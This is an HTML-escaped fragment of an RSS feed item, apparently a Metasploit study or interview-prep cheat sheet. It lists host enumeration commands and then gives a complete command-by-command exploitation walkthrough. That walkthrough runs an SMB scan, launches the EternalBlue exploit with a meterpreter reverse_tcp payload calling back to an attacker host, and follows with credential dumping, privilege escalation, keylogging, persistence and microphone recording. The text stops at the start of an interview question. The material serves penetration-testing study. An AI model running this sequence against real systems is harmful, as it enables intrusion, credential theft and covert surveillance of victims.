&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Network configuration
ifconfig / ipconfig

# Routing table
route

# Active connections
netstat -an

# ARP table
arp -a

# Open ports
ss -tulpn

# Running services
ps aux
&lt;/code&gt;&lt;/pre&gt;&lt;hr&gt;
&lt;h2 id=&#34;real-world-workflow&#34;&gt;Real-World Workflow&lt;/h2&gt;
&lt;h3 id=&#34;complete-exploitation-scenario&#34;&gt;Complete Exploitation Scenario&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;1. SCANNING
   msf&amp;gt; use auxiliary/scanner/smb/smb_version
   msf&amp;gt; set RHOSTS 192.168.1.0/24
   msf&amp;gt; run
   # Find vulnerable Windows 7

2. SELECT EXPLOIT
   msf&amp;gt; use exploit/windows/smb/ms17_010_eternalblue

3. SET OPTIONS
   msf&amp;gt; set RHOSTS 192.168.1.100
   msf&amp;gt; set LHOST 192.168.1.50
   msf&amp;gt; set PAYLOAD windows/meterpreter/reverse_tcp

4. EXPLOIT
   msf&amp;gt; exploit

5. POST-EXPLOITATION
   meterpreter&amp;gt; hashdump
   meterpreter&amp;gt; getsystem
   meterpreter&amp;gt; keyscan_start
   meterpreter&amp;gt; persistence -X
   meterpreter&amp;gt; record_mic 10
&lt;/code&gt;&lt;/pre&gt;&lt;hr&gt;
&lt;h2 id=&#34;interview-questions--answers&#34;&gt;Interview Questions &amp;amp; Answers&lt;/h2&gt;
&lt;h3 id=&#34;q1-whats-the-difference-between-staged-and-non-staged-payloads&#34;&gt;Q1: What&amp;rsquo;s the difference between staged and non-staged payloads?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;A:&lt;/strong&gt;&lt;/p&gt;</description>
    </item>
  </channel>
</rss>
